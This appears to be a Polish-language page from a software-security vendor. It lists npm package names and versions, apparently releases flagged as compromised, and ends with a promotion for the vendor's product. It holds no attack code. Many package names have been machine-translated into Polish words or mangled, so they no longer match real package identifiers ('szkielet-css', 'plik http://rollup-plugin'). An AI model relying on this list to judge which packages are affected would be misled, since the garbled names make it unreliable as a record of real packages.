axios-timed1.0.2 , 1.0.1
szkielet-css1.1.4 , 1.1.3
benmostyn-frame-print1.0.1
Najlepiejgpiokontroler1.0.10
adapter dwukierunkowy1.2.2 , 1.2.4 , 1.2.5 , 1.2.3
blinqio-executions-cli1.0.41
blob-do-base641.0.3
bun-plugin-httpfile0.1.1
sprawdzanie kodu bajtowego-cli1.0.11 , 1.0.8 , 1.0.9 , 1.0.10
bajtów do x1.0.1
kalkulacja odsetek od pożyczki1.0.4
wtyczka-kondensatora-apptrackingios0.0.21
zakup wtyczki kondensatora0.1.1
wtyczka-kondensatora-scgssigninwithgoogle0.0.5
historia zakupów kondensatorów0.0.10
kondensator-dyktafon-wav6.0.3
pobieranie rozszerzeń do Chrome0.0.3 , 0.0.4
claude-token-updater1.0.3
coinmarketcap-api3.1.3 , 3.1.2
kolory-wyrażenie regularne2.0.1
polecenie-irail0.5.4
porównaj-obiekt1.1.1 , 1.1.2
reduktor kompozytowy1.0.4 , 1.0.3 , 1.0.2 , 1.0.5
odliczanie1.0.2 , 1.0.1
instrukcje procesora0.0.14
utwórz-aplikację-dyrektora0.1.1
utwórz-aplikację-glee0.2.3 , 0.2.2
utwórz-aplikację-hardhat31.1.4 , 1.1.3 , 1.1.1 , 1.1.2
kodek-adresu-kryptograficznego0.1.9
css-dedoupe0.1.2
dashboard-pusty-stan1.0.3
studio projektoweuiux1.0.1
devstart-cli1.0.6
dialogflow-es1.1.4 , 1.1.3 , 1.1.1 , 1.1.2
serwer botów discord0.1.2
docusaurus-plugin-vanilla-extract1.0.3
nie idź1.1.2
szablon dotnet0.0.3 , 0.0.4
wtyczka do obsługi zdarzeń upuszczania na posesji0.0.2
tester dostarczalności wiadomości e-mail1.1.1
wymuś-nazwę-gałęzi1.1.3
esbuild-plugin-brotli0.2.1
esbuild-plugin-eta0.1.1
esbuild-plugin-plik http0.4.1
eslint-config-nitpicky4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ethereum-ens0.8.1
evm-checkcode-cli1.0.15 , 1.0.12 , 1.0.13 , 1.0.14
dokładny ticker0.3.5
sesja audio-expo0.2.1
ekspresy1.1.3
o grubych palcach1.0.2 , 1.0.1
odwracanie funkcji1.0.2 , 1.0.1
wyszukiwarka-firestore1.2.3
fittxt1.0.3 , 1.0.2
stosy klap1.0.2 , 1.0.1
spłaszczyć-odspłaszczyć1.0.2 , 1.0.1
formik-error-focus2.0.1
sklep-formik1.0.1
wyszukiwarka rozmyć1.0.5 , 1.0.6
kod-sprawdzenia-bramki-evm-22.0.3 , 2.0.4 , 2.0.5 , 2.0.6
narzędzia-gate-evm-test1.0.7 , 1.0.8 , 1.0.5 , 1.0.6
gatsby-plugin-cname1.0.2 , 1.0.1
generator-meteor-stock0.1.6
generator-ng-itobuz0.0.15
zdobądź-argumenty1.3.3
github-action-for-generator2.1.28 , 2.1.27
gitsafe1.0.5
przejdź do szablonu0.1.8 , 0.1.9
gulp-inject-envs1.2.2 , 1.2.1
haufe-axera-api-client0.0.1 , 0.0.2
hope-mapboxdraw0.1.1
nadzieja1.0.3
prototyp projektu unoszenia się0.0.5
httpness1.0.3 , 1.0.2
hiper-wypełniający1.0.3
hiperterm-hipster1.0.7
identyfikatory-css1.5.1
identyfikatory-enterprise-serwer mcp0.0.2
identyfikatory-enterprise-ng20.1.6
identyfikatory-enterprise-wpisywanie20.1.6
obraz-do-uri1.0.2 , 1.0.1
wtyczka bezsenności losowy wybór1.0.4
wejście0.2.2
żelazna-tarcza-miniapp0.0.2
przycisk ito8.0.3
itobuz-kątowy0.0.1
itobuz-angular-auth8.0.11
itobuz-kątowy-przycisk8.0.11
Jakub-Zuma1.0.2 , 1.0.1
jaetut-varit-test1.0.2
przeglądarka jan0.13.1
powiązania jQuery1.1.3 , 1.1.2
jsonsurge1.0.7
po prostu tostowy1.7.1
port zabijania2.0.3 , 2.0.2
korea-administracyjny-obszar-geo-json-util1.0.7
kwami1.5.9 , 1.5.10
kody językowe1.0.2 , 1.0.1
licencja-o-matic1.2.2 , 1.2.1
lint-staged-imagemin1.3.1 , 1.3.2
lite-serper-mcp-server0.2.2
luno-api1.2.3
ręczny-system-rozliczeń-miniapp-api1.3.1
ogłoszenie-wtyczki-medusa0.0.3
dzienniki wtyczki medusa0.0.17
wtyczka meduzy-momo0.0.68
medusa-plugin-product-reviews-kvy0.0.4
wtyczka medusa-zalopay0.0.40
mod10-cyfra kontrolna1.0.1
mon-package-react-typescript1.0.1
moja-saeed-lib0.1.1
n8n-węzły-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
n8n-nodes-wirusowa-aplikacja0.2.5
nanoreset7.0.2 , 7.0.1
następna-kołowa-zależność1.0.3 , 1.0.2
następna prosta analiza Google1.1.1 , 1.1.2
następny-styl-nprogress1.0.4 , 1.0.5
ngx-przydatny-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
normalny sklep1.3.1 , 1.3.4 , 1.3.3 , 1.3.2
obiekt-do-css1.0.3 , 1.0.2
okta-react-router-65.0.1
otwarty2internet0.1.1
orbit-boxicons2.1.3
narzędzia do rysowania mgławic orbitalnych1.0.10
edytor-mgławicy-orbitalnej1.0.2
mydło orbitalne0.43.13
orkiestra12.1.2
tester pakietów1.0.1
wtyczka-do-kopiowania-zasobów-paczkowych1.1.3 , 1.1.2
adnotacja pdf0.0.2
piklit1.0.1
piko-płyn1.0.4 , 1.0.3
pkg-readme1.1.1
pop-react-sdk0.1.2
dokuzaur-posthog2.0.6
posthog-js1.297.3
węzeł posthog4.18.1 , 5.13.3 , 5.11.3
wtyczka posthog-hello-world1.0.1
posthog-react-native4.11.1 , 4.12.5
posthog-react-native-powtórka sesji1.2.2
stół Prime One0.0.19
prompt-eng1.0.50
mało żądane1.0.3
ra-auth-firebase1.0.3
ra-data-firebase1.0.8 , 1.0.7
tagery komponentów reagujących0.1.9
eksportuj dane reakcji1.0.1
inspektor-monitu-elementu-react0.1.18
reaguj-favic1.0.2
reaguj-hak-forma-utrzymuj3.0.2 , 3.0.1
ikony-react-jam1.0.2 , 1.0.1
kontekst-reagującego-klawisza1.0.8 , 1.0.9
konfiguracja biblioteki React0.0.6
ładowarka liniowa1.0.2
react-micromodal.js1.0.2 , 1.0.1
React-Native-DatePicker-Modal1.3.1 , 1.3.2
React-Native-Email2.1.1 , 2.1.2
React-Native-Fetch2.0.1 , 2.0.2
React-Native-Pobierz-Wymiary-Pikseli1.0.2 , 1.0.1
React-Native-wskazówki-Google-Maps2.1.2
ikony React-Native-Jam1.0.2 , 1.0.1
React-Native-Log-Level1.2.2 , 1.2.1
React-Native-Modest-CheckBox3.3.1
React-Native-Modest-Storage2.1.1
React-Native-Telephone-Call1.2.2 , 1.2.1
React-Native-Retriable-Fetch2.0.1 , 2.0.2
React-Native-Użyj-Modal1.0.3
React-Native-View-Finder1.2.2 , 1.2.1
React-Native-WebSocket1.0.4 , 1.0.3
React-Native-Worklet-Functions3.3.3
reaktywny obraz qr1.1.1
ponowna zmiana1.0.5
przeglądarka rediff0.0.7
zestaw-router-redux1.2.2 , 1.2.4 , 1.2.3
plik http://rollup-plugin0.2.1
sa-company-registration-number-regex1.0.2 , 1.0.1
sa-id-gen1.0.4 , 1.0.5
taki sam, taki sam1.0.3
scgs-kondensator-subskrybuj1.0.11
twórca scgsff1.0.5
ustaw-zagnieżdżoną-rekwizytę2.0.1 , 2.0.2
półki-jwt-sessions0.1.2
shell-exec1.1.4 , 1.1.3
Shinhan-limit-złom1.0.3
wykorzystanie umiejętności0.1.2 , 0.1.1
solomon-api-stories1.0.2
opowieści salomona v31.15.6
solomon-v3-ui-wrapper1.6.1
sortowanie według odległości2.0.1
południowoafrykańskie informacje identyfikacyjne1.0.2
stat-fns1.0.1
przeszkadzać2.3.2
super-commit1.0.1
svelte-autocomplete-select1.1.1
smukły i tostowy1.1.3 , 1.1.2
tanstack-shadcn-table1.1.5
tcsp2.0.2
tcsp-draw-test1.0.5
tcsp-test-vd2.4.4
biblioteka szablonów1.1.4 , 1.1.3
szablon-mikrousługa1.0.3 , 1.0.2
wytrwały-przyciągać2.3.3 , 2.3.2
aplikacja-test-foundry1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
aplikacja-test-hardhat1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
test23112222-api1.0.1
tiaan1.0.2
token.js-fork0.7.32
aplikacja trigo-react4.1.2
ogrodzenie typu1.2.2 , 1.2.3
orbita-typu0.2.27
wpisany w undefsafe1.0.4 , 1.0.3
uplandui0.5.4
prześlij do sklepu Play1.0.2 , 1.0.1
kodowanie-dekodowanie adresu url1.0.2 , 1.0.1
użyj-niezapisanych-zmian1.0.9
ważny południowoafrykański identyfikator1.0.3
szablon vf-oss1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
vite-plugin-httpfile0.2.1
vue-browserupdate-nuxt1.0.5
web-scraper-mcp1.1.4
typy stron internetowych htmx0.1.1
web-types-lit0.1.1
webpack-loader-plik http0.2.1
ekspert-od-wellness-ng-gallery5.1.1
wenk1.0.9 , 1.0.10
zapier-async-storage1.0.3 , 1.0.2 , 1.0.1
zapier-platform-cli18.0.4 , 18.0.3 , 18.0.2
zapier-platform-core18.0.4 , 18.0.3 , 18.0.2
schemat platformy zapiera18.0.4 , 18.0.3 , 18.0.2
skrypty zapiera7.8.3 , 7.8.4
zuper-cli1.0.1
zuper-sdk1.0.57
zuper-stream2.0.9
sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni